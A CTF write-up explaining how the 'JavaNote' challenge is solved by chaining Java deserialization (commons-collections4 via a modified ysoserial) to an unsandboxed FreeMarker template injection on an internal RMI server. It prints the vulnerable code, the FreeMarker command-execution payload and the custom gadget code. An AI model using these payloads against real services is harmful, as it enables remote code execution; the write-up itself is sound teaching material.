title: MidnightFlag CTF 2025 Finals - JavaNote
date: Jun 21, 2025
tags: writeups midnightflag
A note application that is not a client side challenge ? Amazing !
Format: MCTF{..}
Author: Worty
0/25
This challenge requires players to identify a given Java deserialization (with a given gadget), and modify the ysoserial payload to interact with the RMI server instead of executing arbitrary commands.
The challenge was made in Java using three services, each one in a separated docker :
The flag was located in the docker of the RMI server (not the Spring one). Few restrictions were in place for this challenge, the Spring application docker was read-only, and both RMI and Spring application does not have access to internet.
The application is very simple, and allows user to take notes, export and import them :
As the source code was given, players can quickly identified that the /import route allows a file upload, and the application tries to deserialize what's sent by the user in order to insert new notes. This can be view in the code below by the usage of ois.readObject() on the ObjectInputStream, which corresponds to the file actually uploaded by the user.
@PostMapping("/import")
public RedirectView importNotes(@RequestParam("file") MultipartFile file, Model model) {
try {
ObjectInputStream ois = new ObjectInputStream(file.getInputStream());
Object obj = ois.readObject();
ois.close();
if (obj instanceof Note[]) {
Note[] importedNotes = (Note[]) obj;
for (Note note : importedNotes) {
rmiService.insertNewNote(note);
}
model.addAttribute("success", "Notes imported successfully");
} else {
model.addAttribute("error", "Invalid file format");
}
} catch (Exception e) {
model.addAttribute("error", "Failed to import notes");
}
return new RedirectView("/", true);
}
The Spring application is the latest version and no public gadgets to gain Arbitrary Code Execution are public, but if players takes a look at the pom.xml file (which reference all dependencies loaded in the project), it can be observed the presence of the package commons-collections4 :
<dependencies>
<dependency>
<groupId>org.apache.commons</groupId>
<artifactId>commons-collections4</artifactId>
<version>4.0</version>
</dependency>
</dependencies>
So players were given a free deserialization sync with a free gadget to gain Arbitrary Code Execution, but as mentionned earlier, the flag was not on this docker, it does not have access to internet, and it's read only.
The RMI server expose the following methods to the Spring application in order to create note, get all notes, ... :
public interface Service extends Remote {
String getAllNotes() throws RemoteException;
Note getNoteById(int id) throws RemoteException;
boolean insertNewNote(Note newNote) throws RemoteException;
String renderNotes(Object dataModel, String templateSource) throws RemoteException;
Note[] exportNotes() throws RemoteException;
}
In this list of methods, the renderNotes one might be interesting because of the mention of template in the parameters name :
@Override
public String renderNotes(Object dataModel, String templateSource) throws RemoteException {
return render(dataModel, templateSource);
}
private String render(Object dataModel, String templateSource) {
try {
Configuration cfg = new Configuration(Configuration.VERSION_2_3_32);
cfg.setDefaultEncoding("UTF-8");
Template template = new Template("inline", new StringReader(templateSource), cfg);
Map<String, Object> root;
if (dataModel instanceof Map) {
root = (Map<String, Object>) dataModel;
} else {
root = new HashMap<>();
root.put("model", dataModel);
}
StringWriter out = new StringWriter();
template.process(root, out);
return out.toString();
} catch (Exception e) {
e.printStackTrace();
return "<p>Error : " + e.getMessage() + "</p>";
}
}
This is our entry point to gain Remote Code Execution through the RMI server, the method render takes a templateSource parameter and use it in the template.process(..) call. This is typically a case of freemarker Server Side Template Injection (SSTI), without any sandbox. The following payload can be used to recover the flag :
${"freemarker.template.utility.Execute"?new()("/getflag")}
But now, players have to understand how ysoserial works to creates payloads. Ysoserial takes usually two parameters :
The interesting part here is how ysoserial builds a payload that allows to execute arbitrary commands ? This is done in the file src/main/java/ysoserial/payloads/util/Gadgets.java, particularly on line 117 :
// some code
String cmd = "java.lang.Runtime.getRuntime().exec(\"" +
command.replace("\\", "\\\\").replace("\"", "\\\"") +
"\");";
clazz.makeClassInitializer().insertAfter(cmd);
// some other code
Note that the tool executes the commands passed as parameters using java code calling the Runtime api, but nothing prevents from modifying the Java code that will be embedded in the payload in order to do something else. In particular, replacing the code that executes a command with code that connects to an RMI server and calls a method !
When modifying this particular piece of code in ysoserial, full Java type paths must be used :
String => java.lang.StringService => com.javanote.models.ServiceThe following code is used to connect to the RMI server and operate the SSTI:
try {
com.javanote.models.Service remote = (com.javanote.models.Service) java.rmi.Naming.lookup("rmi://javanote-db:1099/javanote");
java.util.Map payloadModel = new java.util.HashMap();
String flag = remote.renderNotes(payloadModel,
"${\\\"freemarker.template.utility.Execute\\\"?new()(\\\"/getflag\\\")}");
} catch (Exception e) {
e.printStackTrace(); //for debug purposes
}
To exfiltrate the flag, as the docker had no Internet access, players could simply insert a new note using the insertNewNote method available in the RMI server, the following is the final payload embedded in ysoserial :
String cmd = ""
+ "try {"
+ " com.javanote.models.Service remote = "
+ " (com.javanote.models.Service) java.rmi.Naming.lookup(\"rmi://javanote-db:1099/javanote\");"
+ " java.util.Map payloadModel = new java.util.HashMap();"
+ " String flag = remote.renderNotes(payloadModel, "
+ " \"${\\\"freemarker.template.utility.Execute\\\"?new()(\\\"/getflag\\\")}\""
+ " );"
+ " com.javanote.models.Note n = new com.javanote.models.Note(\"flag\", flag);"
+ " remote.insertNewNote(n);"
+ "} catch (Exception e) {"
+ " e.printStackTrace();"
+ "}";
clazz.makeClassInitializer().insertAfter(cmd);
In order for this to be taken into account, players must rebuild ysoserial, and use the gadget CommonsCollections4 (as seen earlier). As we are using custom types from the custom RMI server, we have to include in the classpath, when building the payload of ysoserial, a link to the RMI server souce code for Java to found specified custom classes in our ysoserial modified version (don't forget to compile those classes before using the command to run ysoserial) :
$ java -cp ../rmi/:target/ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.GeneratePayload CommonsCollections2 "not used" > ~/Downloads/payload.javanote
We upload the generated file to the server, and we get the flag in the notes :
MCTF{af313d737e4b9511d78fcfd2ebe907cc}